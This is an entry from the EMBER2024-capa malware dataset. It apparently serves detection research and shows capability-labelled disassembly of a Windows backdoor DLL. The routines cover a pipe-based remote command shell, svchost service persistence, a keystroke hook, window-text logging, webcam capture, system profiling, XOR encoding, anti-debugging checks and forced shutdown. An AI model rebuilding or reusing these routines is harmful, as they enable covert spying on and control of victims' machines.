joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10004b1b
Capabilities:
Create thread
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [ebp + 8]
and byte [ebp - 0x120], 0
push esi
mov esi, ecx
push edi
push 0x3f
mov dword [esi + 0x2c], eax
pop ecx
xor eax, eax
lea edi, [ebp - 0x11f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
push eax
lea eax, [ebp - 0x120]
push str._dOEMCP_r_n
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x120]
push eax
call sub.MSVCRT.dll_strlen
add esp, 0x10
mov ecx, esi
push eax
lea eax, [ebp - 0x120]
push eax
call fcn.10004cfc
test eax, eax
je 0x10004b8b
mov ecx, esi
call fcn.10004d43
test eax, eax
jne 0x10004b92
xor eax, eax
jmp 0x10004c21
push ebx
push esi
push 0
push 0x10004ca6
call dword [sym.imp.MSVCRT.dll__beginthread]
mov ebx, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
add esp, 0xc
push 0
push dword [esi + 4]
call ebx
cmp eax, 0x102
jne 0x10004c03
and byte [ebp - 0x20], 0
push 7
pop ecx
xor eax, eax
lea edi, [ebp - 0x1f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor edi, edi
lea eax, [ebp + 8]
push edi
push eax
lea eax, [ebp - 0x20]
push 0x1e
push eax
mov dword [ebp + 8], edi
push dword [esi + 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10004c03
cmp dword [ebp + 8], edi
je 0x10004c03
push dword [ebp + 8]
lea eax, [ebp - 0x20]
mov ecx, esi
push eax
call fcn.10004cfc
test eax, eax
je 0x10004c03
push edi
push dword [esi + 4]
jmp 0x10004baf
push dword [esi + 8]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push dword [esi + 0x18]
call edi
push dword [esi + 0x10]
call edi
push dword [esi + 0x1c]
call edi
push 1
pop eax
pop ebx
pop edi
pop esi
leave
ret 4
Function at 0x10004d43
Capabilities:
Create pipe
Create two anonymous pipes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
and dword [ebp - 8], 0
push ebx
push esi
push edi
mov esi, ecx
push 0xfffffffffffffff5
mov dword [ebp - 0xc], 0xc
mov dword [ebp - 4], 1
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov dword [esi + 0x24], eax
lea eax, [ebp - 0xc]
lea edi, [esi + 0x18]
push 0
lea ebx, [esi + 0x14]
push eax
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x10004d8a
xor eax, eax
jmp 0x10004e4d
push dword [edi]
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_SetStdHandle]
test eax, eax
je 0x10004d83
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 2
push 0
lea eax, [esi + 0x1c]
push 0
push eax
call edi
push eax
push dword [ebx]
call edi
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
je 0x10004d83
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xfffffffffffffff6
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
lea ecx, [ebp - 0xc]
mov dword [esi + 0x20], eax
lea ebx, [esi + 0xc]
push 0
lea eax, [esi + 8]
push ecx
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
je 0x10004d83
push dword [esi + 8]
push 0xfffffffffffffff6
call dword [sym.imp.KERNEL32.dll_SetStdHandle]
test eax, eax
je 0x10004d83
push 2
push 0
lea eax, [esi + 0x10]
push 0
push eax
call edi
push eax
push dword [ebx]
call edi
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
je 0x10004d83
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, esi
call fcn.10004e52
test eax, eax
je 0x10004d83
push dword [esi + 0x20]
mov edi, dword [sym.imp.KERNEL32.dll_SetStdHandle]
push 0xfffffffffffffff6
call edi
test eax, eax
je 0x10004d83
push dword [esi + 0x24]
push 0xfffffffffffffff5
call edi
neg eax
sbb eax, eax
neg eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10004e52
Capabilities:
Create a process with modified i/o handles and window
Create process on windows
Get comspec environment variable
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
push edi
xor esi, esi
push 0x44
lea eax, [ebp - 0x54]
push esi
mov edi, ecx
push eax
call sub.MSVCRT.dll_memset
mov eax, dword [edi + 8]
add esp, 0xc
mov dword [ebp - 0x1c], eax
mov eax, dword [edi + 0x18]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x10]
mov dword [ebp - 0x54], 0x44
push eax
lea eax, [ebp - 0x54]
push eax
push esi
push esi
push 0x8000000
push 1
push esi
push esi
push str.COMSPEC
mov dword [ebp - 0x50], esi
mov dword [ebp - 0x20], esi
mov word [ebp - 0x22], si
mov dword [ebp - 0x4c], 0x1000a348
mov dword [ebp - 0x28], 0x101
mov word [ebp - 0x24], si
call dword [sym.imp.MSVCRT.dll_getenv]
pop ecx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x10004ed3
mov eax, dword [ebp - 0x10]
push 1
mov dword [edi + 0x28], eax
pop eax
pop edi
pop esi
leave
ret
Function at 0x10005171
Capabilities:
Query service status
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push esi
push edi
xor esi, esi
push 0xf003f
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
cmp edi, esi
mov dword [ebp - 4], edi
je 0x10005219
push 0xf01ff
push dword [ebp + 8]
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
cmp eax, esi
mov dword [ebp + 8], eax
jne 0x100051b4
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x10005219
push 6
xor eax, eax
pop ecx
lea edi, [ebp - 0x1c]
mov dword [ebp - 0x20], esi
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x20]
push eax
push 1
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x10005209
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
mov ebx, 0x3e8
push ebx
call esi
mov edi, dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
lea eax, [ebp - 0x20]
push eax
push dword [ebp + 8]
call edi
test eax, eax
je 0x10005208
cmp dword [ebp - 0x1c], 3
jne 0x10005208
push ebx
call esi
lea eax, [ebp - 0x20]
push eax
push dword [ebp + 8]
jmp 0x100051f0
pop ebx
push dword [ebp + 8]
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push dword [ebp - 4]
call esi
pop edi
pop esi
leave
ret
Function at 0x1000526d
Capabilities:
Create service
Get common file path
Persist via windows service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x304
push esi
push edi
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
mov dword [ebp - 4], edi
jne 0x10005298
or eax, 0xffffffff
jmp 0x100053a8
push 4
push dword [ebp + 8]
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
test eax, eax
je 0x100052b7
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push eax
call esi
push edi
jmp 0x100053a4
and byte [ebp - 0x104], 0
push ebx
push 0x3f
xor eax, eax
pop ecx
lea edi, [ebp - 0x103]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x104]
push 0xc8
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x104]
push str._svchost.exe__k
push eax
call ebx
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push eax
call ebx
mov esi, str.Network_DDE
lea edi, [ebp - 0x304]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
push 0x3c
xor eax, eax
pop ecx
lea edi, [ebp - 0x2f7]
rep stosd dword es:[edi], eax
and byte [ebp - 0x204], 0
push 0x3f
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x203]
push dword [ebp + 8]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x204]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x204]
push eax
call dword [sym.imp.USER32.dll_CharUpperA]
lea eax, [ebp - 0x204]
push eax
lea eax, [ebp - 0x304]
push eax
call ebx
xor esi, esi
lea eax, [ebp - 0x104]
push esi
push esi
push esi
push esi
push esi
push eax
push 1
push 2
push 0x110
lea eax, [ebp - 0x304]
push 0xf01ff
push eax
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
cmp eax, esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop ebx
je 0x100053a1
push eax
call esi
push dword [ebp - 4]
call esi
xor eax, eax
pop edi
pop esi
leave
ret

Function at 0x100053ac
Capabilities:
Delete service

Disassembly:
push esi
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
test esi, esi
jne 0x100053c7
or eax, 0xffffffff
pop esi
ret
push 0xf01ff
push dword [esp + 0xc]
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
test eax, eax
je 0x100053e2
push eax
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
pop esi
ret
Function at 0x100053ed
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
lea eax, [ebp - 8]
push ebx
push eax
lea eax, [ebp - 4]
xor ebx, ebx
push eax
push ebx
push 0xf003f
push ebx
push ebx
push ebx
mov dword [ebp - 4], ebx
push dword [ebp + 8]
mov dword [ebp - 8], ebx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x10005477
push edi
push 0x7f
pop ecx
lea edi, [ebp - 0x207]
mov byte [ebp - 0x208], bl
push dword [ebp + 0xc]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x208]
push eax
push 2
push ebx
push str.ServiceDll
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop ebx
leave
ret

Function at 0x1000547a
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
lea eax, [ebp - 8]
push esi
push eax
lea eax, [ebp - 4]
xor esi, esi
push eax
push esi
push 0xf003f
push esi
push esi
push esi
mov dword [ebp - 4], esi
push dword [ebp + 8]
mov dword [ebp - 8], esi
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x100054cb
lea eax, [ebp + 0xc]
push 4
push eax
push 4
push esi
push str.Start
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
leave
ret

Function at 0x100054ce
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
lea eax, [ebp - 8]
push ebx
push eax
lea eax, [ebp - 4]
xor ebx, ebx
push eax
push ebx
push 0xf003f
push ebx
push ebx
push ebx
mov dword [ebp - 4], ebx
push dword [ebp + 8]
mov dword [ebp - 8], ebx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x1000555b
push esi
push edi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push 0x3f
mov esi, eax
pop ecx
xor eax, eax
lea edi, [ebp - 0x107]
mov byte [ebp - 0x108], bl
rep stosd dword es:[edi], eax
push dword [ebp + 0xc]
inc esi
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x108]
push esi
push eax
push 1
push ebx
push str.Description
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000555e
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
lea eax, [ebp - 8]
push ebx
push eax
lea eax, [ebp - 4]
xor ebx, ebx
push eax
push ebx
push 0xf003f
push ebx
push ebx
push ebx
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvcHost
push closesocket
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x100055e6
push edi
push 0x3f
pop ecx
lea edi, [ebp - 0x107]
mov byte [ebp - 0x108], bl
push dword [ebp + 8]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
inc eax
push eax
lea eax, [ebp - 0x108]
push eax
push 7
push ebx
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop ebx
leave
ret

Function at 0x10005a7b
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4e4
lea eax, [ebp - 0x4e4]
push esi
push eax
call fcn.10004f42
lea eax, [ebp - 0x100]
mov dword [esp], 0x1000a214
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
pop ecx
test esi, esi
pop ecx
je 0x10005ac6
push esi
push 1
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_fwrite]
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0x14
push 1
pop eax
pop esi
leave
ret

Function at 0x10005ad9
Capabilities:
Log keystrokes via application hook

Disassembly:
call fcn.10001fd1
cmp dword [0x1000c004], 0
jne 0x10005b01
push 0
push dword [0x1000a414]
push 0x10005965
push 2
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
mov dword [0x1000c004], eax
ret
Function at 0x10005b02
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x710
push edi
push 0x3f
xor dl, dl
pop ecx
xor eax, eax
lea edi, [ebp - 0x10f]
mov byte [ebp - 0x110], dl
push 0x7f
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x30f]
mov byte [ebp - 0x310], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x7f
xor eax, eax
pop ecx
lea edi, [ebp - 0x70f]
mov byte [ebp - 0x710], dl
push 0x7f
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x50f]
mov byte [ebp - 0x510], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [sym.imp.USER32.dll_GetActiveWindow]
call edi
cmp dword [section.Share], eax
je 0x10005c10
lea eax, [ebp - 0x10]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [ebp - 4]
push eax
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
movzx eax, word [ebp - 6]
push eax
movzx eax, word [ebp - 8]
push eax
movzx eax, word [ebp - 0xa]
push eax
movzx eax, word [ebp - 0xe]
push eax
movzx eax, word [ebp - 0x10]
push eax
lea eax, [ebp - 0x110]
push str.__04d__02d__02d__02d:_02d:_02d_
push eax
call esi
add esp, 0x20
call edi
lea ecx, [ebp - 0x710]
push 0x104
push ecx
push eax
mov dword [section.Share], eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea eax, [ebp - 0x510]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
call fcn.10005911
pop ecx
lea eax, [ebp - 0x510]
pop ecx
push eax
lea eax, [ebp - 0x710]
push eax
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x310]
push str._r_n_s__s__s_r_n
push eax
call esi
add esp, 0x14
pop esi
push dword [ebp + 8]
lea eax, [ebp - 0x310]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x310]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x310]
push eax
call fcn.10005a7b
pop ecx
pop ecx
pop edi
leave
ret

Function at 0x10005c42
Capabilities:
Encode data using xor

Disassembly:
xor ecx, ecx
cmp dword [esp + 8], ecx
jbe 0x10005c5a
mov eax, dword [esp + 4]
add eax, ecx
xor byte [eax], 0x12
inc ecx
cmp ecx, dword [esp + 8]
jb 0x10005c4a
ret
Function at 0x10005c5b
Capabilities:
Get hostname
Get memory capacity
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push ebx
push esi
push edi
call fcn.10005d34
mov esi, dword [ebp + 8]
and dword [ebp - 0x48], 0
push 8
lea edi, [ebp - 0x44]
mov dword [esi + 0x54], eax
pop ecx
xor eax, eax
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
call fcn.10005dfc
and dword [ebp - 0x24], 0
mov dword [esi + 0x44], eax
mov eax, dword [ebp - 0x34]
push 7
mov dword [esi + 0x58], eax
pop ecx
xor eax, eax
lea edi, [ebp - 0x20]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov eax, dword [ebp - 0x1c]
lea ebx, [esi + 0x20]
shr eax, 0xa
mov dword [esi + 0x48], eax
lea eax, [ebp - 4]
push eax
push ebx
mov dword [ebp - 4], 0x10
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov edi, dword [ebp + 0xc]
cmp dword [edi], 0x720
jne 0x10005ce1
call fcn.10005edc
movsx eax, al
mov dword [esi + 0x50], eax
mov eax, dword [edi + 0x14]
mov dword [esi + 0x4c], eax
lea eax, [edi + 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jne 0x10005cfb
push ebx
jmp 0x10005d02
lea eax, [edi + 0x120]
push eax
lea eax, [esi + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [edi + 0x1dc]
push 0x10
push eax
push esi
call sub.MSVCRT.dll_memcpy
add esp, 0xc
add edi, 0x148
add esi, 0x30
push edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10005d34
Capabilities:
Check os version

Disassembly:
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp eax, 0x80000000
jae 0x10005d9c
push 1
mov esi, 0x94
pop ebx
push esi
call dword [sym.imp.MSVCRT.dll_malloc]
mov edi, eax
pop ecx
test edi, edi
je 0x10005df6
push esi
push 0
push edi
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [edi], esi
push edi
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [edi + 4]
cmp eax, 4
jne 0x10005d7f
push 5
jmp 0x10005ded
cmp eax, 5
jne 0x10005dee
cmp dword [edi + 8], 0
jne 0x10005d8e
push 6
jmp 0x10005ded
cmp eax, 5
jne 0x10005dee
cmp dword [edi + 8], ebx
jne 0x10005dee
push 7
jmp 0x10005ded
cmp al, 4
jae 0x10005da4
xor ebx, ebx
jmp 0x10005df6
push 2
mov esi, 0x94
pop ebx
push esi
call dword [sym.imp.MSVCRT.dll_malloc]
mov edi, eax
pop ecx
test edi, edi
je 0x10005df6
push esi
push 0
push edi
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [edi], esi
push edi
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [edi + 4]
cmp eax, 4
jne 0x10005dee
cmp dword [edi + 8], 0xa
jne 0x10005de1
push 3
jmp 0x10005ded
cmp eax, 4
jne 0x10005dee
cmp dword [edi + 8], 0x5a
jne 0x10005dee
push eax
pop ebx
push edi
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
pop edi
mov eax, ebx
pop esi
pop ebx
ret
Function at 0x10005dfc
Capabilities:
Check for time delay via queryperformancecounter
Execute anti-debugging instructions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push edi
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetPriorityClass]
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov dword [ebp - 8], eax
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
push 0x100
mov dword [ebp - 4], eax
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push eax
call ebx
push 0xf
call edi
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
push 0
push 0x10
push dword [ebp - 0xc]
push dword [ebp - 0x10]
call fcn.10007160
add eax, dword [ebp - 0x18]
adc edx, dword [ebp - 0x14]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], edx
rdtsc
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0xc]
jg 0x10005ea1
jl 0x10005e8d
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x10]
jae 0x10005ea1
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0xc]
jl 0x10005e8d
jle 0x10005e85
rdtsc
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], edx
push dword [ebp - 4]
call edi
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push dword [ebp - 8]
call esi
push eax
call ebx
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x28]
push 0
push 0xf424
sbb ecx, dword [ebp - 0x24]
push ecx
push eax
call fcn.10007160
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10005edc
Capabilities:
Capture webcam image

Disassembly:
push ebx
xor ebx, ebx
push esi
push ebx
push ebx
push 1
push 1
push ebx
push ebx
push closesocket
push str.Capture
call sub.AVICAP32.dll_capCreateCaptureWindowA
mov esi, eax
cmp esi, ebx
jne 0x10005f01
xor al, al
jmp 0x10005f46
push ebp
mov ebp, dword [sym.imp.USER32.dll_IsWindow]
push edi
push esi
call ebp
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
test eax, eax
je 0x10005f22
push ebx
push ebx
push 0x40a
push esi
call edi
jmp 0x10005f24
xor eax, eax
cmp eax, ebx
je 0x10005f3b
push esi
call ebp
test eax, eax
je 0x10005f39
push ebx
push ebx
push 0x40b
push esi
call edi
mov bl, 1
push esi
call dword [sym.imp.USER32.dll_DestroyWindow]
pop edi
mov al, bl
pop ebp
pop esi
pop ebx
ret
Function at 0x10005fc8
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2000
call fcn.100070d0
and byte [ebp - 0x2000], 0
push esi
push edi
mov ecx, 0x7ff
xor eax, eax
lea edi, [ebp - 0x1fff]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x1000a250
push dword [ebp + 8]
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
pop ecx
test esi, esi
pop ecx
je 0x10006047
mov eax, dword [ebp + 0x10]
push 2
neg eax
push eax
push esi
call dword [sym.imp.MSVCRT.dll_fseek]
push esi
push 1
push dword [ebp + 0x10]
lea eax, [ebp - 0x2000]
push eax
call dword [sym.imp.MSVCRT.dll_fread]
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
push dword [ebp + 0x10]
lea eax, [ebp - 0x2000]
push dword [ebp + 0xc]
push eax
call fcn.10005f49
add esp, 0x2c
push 1
pop eax
pop edi
pop esi
leave
ret

Function at 0x1000604b
Capabilities:
Shutdown system

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push esi
mov dword [ebp - 0x20], 1
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x10]
push eax
xor esi, esi
push str.SeShutdownPrivilege
push esi
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov eax, dword [ebp - 0x10]
push 2
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], 2
call dword [sym.imp.ADVAPI32.dll_ImpersonateSelf]
lea eax, [ebp - 8]
push eax
push 1
push 0x20
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_OpenThreadToken]
push esi
push esi
lea eax, [ebp - 0x20]
push 0x10
push eax
push esi
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
cmp dword [ebp + 8], esi
pop esi
push 4
je 0x100060be
push 8
jmp 0x100060c0
push 2
call dword [sym.imp.USER32.dll_ExitWindowsEx]
leave
ret